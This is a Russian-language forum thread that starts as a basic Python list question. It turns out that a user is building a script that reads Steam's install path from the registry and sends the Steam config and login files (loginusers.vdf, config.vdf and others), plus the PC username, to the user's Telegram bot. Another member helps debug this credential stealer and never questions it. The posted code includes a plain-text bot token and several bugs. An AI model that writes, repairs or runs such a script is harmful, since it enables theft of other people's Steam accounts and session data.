• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Вопрос по переменным и таблицам в python.

26.07.2021
15
0
BIT
0
Проще показать на картинке.
 

Вложения

  • Безымянный.png
    Безымянный.png
    11,2 КБ · Просмотры: 451

TrUffAlDiNo

Заблокирован
29.10.2019
115
32
BIT
0
Что представляет собою переменная value ?
Это столбец какой-то html- таблицы,
или столбец базы данных,
или просто какой-то массив ?
В последнем случае желательно указать тип массива, так как массивы в питоне представлены несколькими видами.

О ответа на этот вопрос зависит способ передачи значения элемента переменной "value" переменной "a".
На данном этапе любой ответ заведемо тебя не устроит. Так зачем двать заведомо неправильный ответ.
Одной картинки не достаточно для точного и однозначного ответа.
 
26.07.2021
15
0
BIT
0
Что представляет собою переменная value ?
Это столбец какой-то html- таблицы,
или столбец базы данных,
или просто какой-то массив ?
В последнем случае желательно указать тип массива, так как массивы в питоне представлены несколькими видами.

О ответа на этот вопрос зависит способ передачи значения элемента переменной "value" переменной "a".
На данном этапе любой ответ заведемо тебя не устроит. Так зачем двать заведомо неправильный ответ.
Одной картинки не достаточно для точного и однозначного ответа.
Value это таблица в python.
Когда я прочитал значение реестра мне выдали столбец данных, как я думаю там что-то типо такого
мне нужно достать ᅠᅠᅠ⇩ᅠ ⇩ᅠ ⇩ᅠᅠ ᅠ ᅠ
value = ["какая-то дата1","какая-то дата2","какая-то дата3","какая-то дата4","какая-то дата5"]
ᅠ ᅠ ᅠ ᅠ ᅠ ᅠ ᅠ ᅠ ᅠ ᅠ⇧ᅠ⇧ᅠ⇧ᅠᅠᅠи переместить в переменную ⇾⇾⇾ "a"
как выглядел вывод сначала

какая-то дата1
какая-то дата2
какая-то дата3
какая-то дата4
какая-то дата5
 
Последнее редактирование:

TrUffAlDiNo

Заблокирован
29.10.2019
115
32
BIT
0
Такой структуры данных как "таблица" в питоне не существует.
Если это таблица, то нужно обязательно указать, каким образом она образована, чтобы иметь представление с какой структурой данных ты имеешь дело.
Но судя по предыдущему твоему сообщению твоя таблица - это список.
Если мои умозаключения верны, то ответ на твой вопрос слишком прост.

Python:
value = ["какая-то дата","какая-то дата2","какая-то дата3","какая-то дата4","какая-то дата5"]
a=value(1)                                            # присваиваем переменной второе значение массива, то есть ""какая-то дата2
value.remove("какая-то дата2")         # удаляем из массива второе значение "какая-то дата2"

Или ты что-то не договариваешь.
 
Последнее редактирование:
26.07.2021
15
0
BIT
0
Такой структуры данных как "таблица" в питоне не существует.
Если это таблица, то нужно обязательно указать, каким образом она образована, чтобы иметь представление с какой структурой данных ты имеешь дело.
Но судя по предыдущему твоему сообщению твоя таблица - это список.
Если мои умозаключения верны, то ответ на твой вопрос слишком прост.

Python:
value = ["какая-то дата","какая-то дата2","какая-то дата3","какая-то дата4","какая-то дата5"]
a=value.(1)                                            # присваиваем переменной второе значение массива, то есть ""какая-то дата2
value.remove("какая-то дата2")         # удаляем из массива второе значение "какая-то дата2"

Или ты что-то не договариваешь.
1627907655505.png

Хз, может быть через append будет работать
 

TrUffAlDiNo

Заблокирован
29.10.2019
115
32
BIT
0
Тьфу, ты.
Я уже совсем сноровку потерял ))
Точка лишняя, точку убери:
Python:
value = ["какая-то дата","какая-то дата2","какая-то дата3","какая-то дата4","какая-то дата5"]
a=value(1)                                            # присваиваем переменной второе значение массива, то есть ""какая-то дата2
value.remove("какая-то дата2")         # удаляем из массива второе значение "какая-то дата2"
 
26.07.2021
15
0
BIT
0
Тьфу, ты.
Я уже совсем сноровку потерял ))
Точка лишняя, точку убери:
Python:
value = ["какая-то дата","какая-то дата2","какая-то дата3","какая-то дата4","какая-то дата5"]
a=value(1)                                            # присваиваем переменной второе значение массива, то есть ""какая-то дата2
value.remove("какая-то дата2")         # удаляем из массива второе значение "какая-то дата2"
1627908007505.png
 

TrUffAlDiNo

Заблокирован
29.10.2019
115
32
BIT
0
Угу, кроме того, что нужно было убрать точку, ещё и круглые скобки заменить на квадратные.
Проклятая деменция ))
Надеюсь, теперь правильно )

Python:
#/usr/bin/python3
## -*-coding: utf-8 -*-

value = ['какая-то дичь1', 'какая-то дичь2', 'какая-то дичь3', 'какая-то дичь4']
print("Печать списка до операции: ", value)
a=value[1]
value.remove('какая-то дичь2')
print("Печать списка после операции: ", value)
print("Значение переменной \'a\': ", a)

screen03.png
 
26.07.2021
15
0
BIT
0
Угу, кроме того, что нужно было убрать точку, ещё и круглые скобки заменить на квадратные.
Проклятая деменция ))
Надеюсь, теперь правильно )

Python:
#/usr/bin/python3
## -*-coding: utf-8 -*-

value = ['какая-то дичь1', 'какая-то дичь2', 'какая-то дичь3', 'какая-то дичь4']
print("Печать списка до операции: ", value)
a=value[1]
value.remove('какая-то дичь2')
print("Печать списка после операции: ", value)
print("Значение переменной \'a\': ", a)

Посмотреть вложение 52012
1627909717259.png

это весь результат
выше я сказал что я скопировал значение из реестра в переменную value, если есть какой-то код для копированию значение из реестра в переменную, може-те пожалуйста написать. что-то типо winreg.copy(value, "HKEY_CURRENT_USER\SOFTWARE\Valve\Steam\SteamPath")
winreg.copy(переменная, путь в реестре)
вот код копирования из реестра:
1627909953286.png
 
Последнее редактирование:

TrUffAlDiNo

Заблокирован
29.10.2019
115
32
BIT
0
У меня нет кода копирования из реестра, но я с удовольствием тебе помогу, если ты прекратишь тут пудрить мне мозги и выложишь весь код, а также объяснишь поставленную перед тобою задачу точно, недвусмысленно и без лишнего набивания постов.

Прекращай пудрить мне мозг: то у тебя таблица, то у тебя список, то и вовсе таблица является структурой данных, характерной для определённой библиотеки.
Выкладывай весь код (вместо своих картинок и кусочков кода ) и будь добр: растолкуй что у тебя не получается.
У меня нет никакого желания общаться с пудрящим мозг пятнадцатирублёвым троллем.
 
26.07.2021
15
0
BIT
0
У меня нет кода копирования из реестра, но я с удовольствием тебе помогу, если ты прекратишь тут пудрить мне мозги и выложишь весь код, а также объяснишь поставленную перед тобою задачу точно, недвусмысленно и без лишнего набивания постов.

Прекращай пудрить мне мозг: то у тебя таблица, то у тебя список, то и вовсе таблица является структурой данных, характерной для определённой библиотеки.
Выкладывай весь код (вместо своих картинок и кусочков кода ) и будь добр: растолкуй что у тебя не получается.
У меня нет никакого желания общаться с пудрящим мозг пятнадцатирублёвым троллем.
Вообщем весь код:
1627910590733.png

цель такая: взять 4-ыре файла и отправить их моему телеграм боту.
 

TrUffAlDiNo

Заблокирован
29.10.2019
115
32
BIT
0
Всё, что писали выше - забудь.
Вот с такого сообщения и надо было начинать, а не писать какую-то умалишённую бурду.
Значит так.

Предупреждаю, у меня нет бота в телеграме и я не работал с теми библиотеками, что ты используешь в своём скрипте.
Но в общих чертах, мне всё понятно.
Во первых, для правильного написания скрипта надо выяснить тип структуры "ramKeyA "
А также нужно выяснить, как она выглядит.
Вот какие строчки добавь.
Python:
#/usr/bin/env python3
## -*-coding: utf-8 -*-

import os
import telebot
from winreg import *

registry = ConnectRegistry(None, HKEY_CURRENT_USER)
ramKeyA = OpenKey(registry, "Software\Value\Steam")
print(type(ramKeyA))
print(ramKeyA)
value = Enumevalue(ramKeyA, i)
print(type(value))
print(value)
# a = value[1]
# i+=1
# print(a)
CloseKey(a)
token = "1788864420:AAHPyruM_LqExUK3ox2Bui0WGnft5CxvzP4"
bot = telebot.TeleBot(token)
chat_id = "178864420"
username = os.detlogin()
file3 = a + "/config/config.vdf"
file4 = a + "/config/loginusers.vdf"
file5 = a + "/config/DialogConfig.vdf"
file6 = a + "/config/fiterlist.vdf"
doc1 = open(file3, 'rb')
doc2 = open(file4, 'rb')
doc3 = open(file5, 'rb')
doc4 = open(file6, 'rb')
bot.send_message(chat_id, "Компьютер: " + username)
bot.send_document(chat_id, doc1)
bot.send_document(chat_id, doc2)
bot.send_document(chat_id, doc3)
bot.send_document(chat_id, doc4)

И выложи, что получилось.
Наверняка, вывод скрипта выдаст какую-то ошибку.
Не торопись.
Закомментируй все строки :

Python:
#/usr/bin/env python3
## -*-coding: utf-8 -*-

import os
import telebot
from winreg import *

registry = ConnectRegistry(None, HKEY_CURRENT_USER)
ramKeyA = OpenKey(registry, "Software\Value\Steam")
print(type(ramKeyA))
print(ramKeyA)
i=0
value = Enumevalue(ramKeyA, i)
print(type(value))
print(value)
# a = value[1]
# i+=1
# print(a)
CloseKey(a)
# token = "1788864420:AAHPyruM_LqExUK3ox2Bui0WGnft5CxvzP4"
# bot = telebot.TeleBot(token)
# chat_id = "178864420"
# username = os.detlogin()
# file3 = a + "/config/config.vdf"
# file4 = a + "/config/loginusers.vdf"
# file5 = a + "/config/DialogConfig.vdf"
# file6 = a + "/config/fiterlist.vdf"
# doc1 = open(file3, 'rb')
# doc2 = open(file4, 'rb')
# doc3 = open(file5, 'rb')
# doc4 = open(file6, 'rb')
# bot.send_message(chat_id, "Компьютер: " + username)
# bot.send_document(chat_id, doc1)
# bot.send_document(chat_id, doc2)
# bot.send_document(chat_id, doc3)
# bot.send_document(chat_id, doc4)

То есть, если первый скрипт выдаст какую-то нИпАнянУйу Ашипку, то закомментируй строчки, как во втором скрипте и выкладывай вывод.
И ещё вот какие моменты в твоём скрипте настораживают.
Ты открываешь четыре файла в бинарном виде.
Ты уверен, что хочешь послать боту файлы в бинарном виде ?
 
Последнее редактирование:
26.07.2021
15
0
BIT
0
Всё, что писали выше - забудь.
Вот с такого сообщения и надо было начинать, а не писать какую-то умалишённую бурду.
Значит так.

Предупреждаю, у меня нет бота в телеграме и я не работал с теми библиотеками, что ты используешь в своём скрипте.
Но в общих чертах, мне всё понятно.
Во первых, для правильного написания скрипта надо выяснить тип структуры "ramKeyA "
А также нужно выяснить, как она выглядит.
Вот какие строчки добавь.
Python:
#/usr/bin/env python3
## -*-coding: utf-8 -*-

import os
import telebot
from winreg import *

registry = ConnectRegistry(None, HKEY_CURRENT_USER)
ramKeyA = OpenKey(registry, "Software\Value\Steam")
print(type(ramKeyA))
print(ramKeyA)
# a = value[1]
# i+=1
# print(a)
CloseKey(a)
token = "1788864420:AAHPyruM_LqExUK3ox2Bui0WGnft5CxvzP4"
bot = telebot.TeleBot(token)
chat_id = "178864420"
username = os.detlogin()
file3 = a + "/config/config.vdf"
file4 = a + "/config/loginusers.vdf"
file5 = a + "/config/DialogConfig.vdf"
file6 = a + "/config/fiterlist.vdf"
doc1 = open(file3, 'rb')
doc2 = open(file4, 'rb')
doc3 = open(file5, 'rb')
doc4 = open(file6, 'rb')
bot.send_message(chat_id, "Компьютер: " + username)
bot.send_document(chat_id, doc1)
bot.send_document(chat_id, doc2)
bot.send_document(chat_id, doc3)
bot.send_document(chat_id, doc4)

И выложи, что получилось.
Наверняка, вывод скрипта выдаст какую-то ошибку.
Не торопись.
Закомментируй все строки :

Python:
#/usr/bin/env python3
## -*-coding: utf-8 -*-

import os
import telebot
from winreg import *

registry = ConnectRegistry(None, HKEY_CURRENT_USER)
ramKeyA = OpenKey(registry, "Software\Value\Steam")
print(type(ramKeyA))
print(ramKeyA)
# a = value[1]
# i+=1
# print(a)
CloseKey(a)
# token = "1788864420:AAHPyruM_LqExUK3ox2Bui0WGnft5CxvzP4"
# bot = telebot.TeleBot(token)
# chat_id = "178864420"
# username = os.detlogin()
# file3 = a + "/config/config.vdf"
# file4 = a + "/config/loginusers.vdf"
# file5 = a + "/config/DialogConfig.vdf"
# file6 = a + "/config/fiterlist.vdf"
# doc1 = open(file3, 'rb')
# doc2 = open(file4, 'rb')
# doc3 = open(file5, 'rb')
# doc4 = open(file6, 'rb')
# bot.send_message(chat_id, "Компьютер: " + username)
# bot.send_document(chat_id, doc1)
# bot.send_document(chat_id, doc2)
# bot.send_document(chat_id, doc3)
# bot.send_document(chat_id, doc4)

То есть, если первый скрипт выдаст какую-то нИпАнянУйу Ашипку, то закомментируй строчки, как во втором скрипте и выкладывай вывод.
И ещё вот какие моменты в твоём скрипте настораживают.
Ты открываешь четыре файла в бинарном виде.
Ты уверен, что хочешь послать боту файлы в бинарном виде ?
Во первых опять деменция detlogin(), ты переписал скрипт с нуля? Во вторых переменная "a" закоментирована, а если раскоментировать то переменной "value" нету ведь часть кода:
Python:
name, value, type = EnumValue(rawKeyA, i)
объявляет 3 переменных: имя, значение и тип, и теперь вопрос, ещё одна часть Closekey(a) закрывает ключ "а" которая ссылается на value.
 

Pernat1y

Well-known member
05.04.2018
1 443
135
BIT
0
26.07.2021
15
0
BIT
0

TrUffAlDiNo

Заблокирован
29.10.2019
115
32
BIT
0
Естественно, она закоментирована на данном этапе.
Я умышленно сказал тебе, чтобы ты забыл всё, что писали выше.
Пока не понятно, какое значение передать переменной "а".
Я хочу выяснить, что передать переменной "а".
А для этого нужно узнать, какой тип имеет структура "rawKeyA"
Вот эта строчка
name, value, type = EnumValue(rawKeyA, i) и вовсе нипанятна.

Ты вводишь в скрипт три переменные:
  • name,
  • value,
  • type

Но переменной с названием "type" не может быть, так как это слово уже занято интерпретатором.
А переменная "name" - тебе зачем ? Ведь в твоём скрипте нет переменной с именем name.
Зачем лишняя переменная ? Ты можешь объяснить ?
Или это ещё не весь код ?


Я немного подправил код.
План такой:
  • Выясняем, какой тип имеет структура ramKeyA - а она вероятно имеет какой-то специфический для библиотеки winreg тип.
  • Затем смотрим, имеется в структуре ramKeyA необходимое тебе значение.
  • Если необходимое тебе значение имеется, то специфичный для библиотеки тип массива переводим в список питона.
  • И наконец присваиваем переменной а необходимое значение из списка.


Ну а если в структуре ramKeyA нет нужного тебе значения, то нужно будет его искать.
 
Последнее редактирование:
26.07.2021
15
0
BIT
0
Естественно, она закоментирована на данном этапе.
Я умышленно сказал тебе, чтобы ты забыл всё, что писали выше.
Пока не понятно, какое значение передать переменной "а".
Я хочу выяснить, что передать переменной "а".
А для этого нужно узнать, какой тип имеет структура "rawKeyA"
Вот эта строчка
name, value, type = EnumValue(rawKeyA, i) и вовсе нипанятна.

Ты вводишь в скрипт три переменные:
  • name,
  • value,
  • type

Но переменной с названием "type" не может быть, так как это слово уже занято интерпретатором.
А переменная "name" - тебе зачем ? Ведь в твоём скрипте нет переменной с именем name.
Зачем лишняя переменная ? Ты можешь объяснить ?
Или это ещё не весь код ?


Я немного подправил код.
План такой:
  • Выясняем, какой тип имеет структура ramKeyA - а она вероятно имеет какой-то специфический для библиотеки winreg тип.
  • Затем смотрим, имеется в структуре ramKeyA необходимое тебе значение.
  • Если необходимое тебе значение имеется, то специфичный для библиотеки тип массива переводим в список питона.
  • И наконец присваиваем переменной а необходимое значение из списка.


Ну а если в структуре ramKeyA нет нужного тебе значения, то нужно будет его искать.
У меня аж питон сломался
 

TrUffAlDiNo

Заблокирован
29.10.2019
115
32
BIT
0
ТС, если тебе просто ключ из реестра прочитать, то юзай это и не парься
Ему вообще не нужна библиотека winreg и ему нечего считывать из реестра.
Ему кроме того вовсе не нужны переменные "type" и "name".

Переменная "a" используется при обозначении пути к файлу.
file6 = a + "/config/fiterlist.vdf"
Почему-бы просто не задать её в виде строковой переменной, что-то наподобие;
a="C:/Program_Files/Name_Programm"

Или это значение является динамическим, постоянно меняется и значение можно считать только из реестра ?
Использование модуля winreg оправдано только в этом случае.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!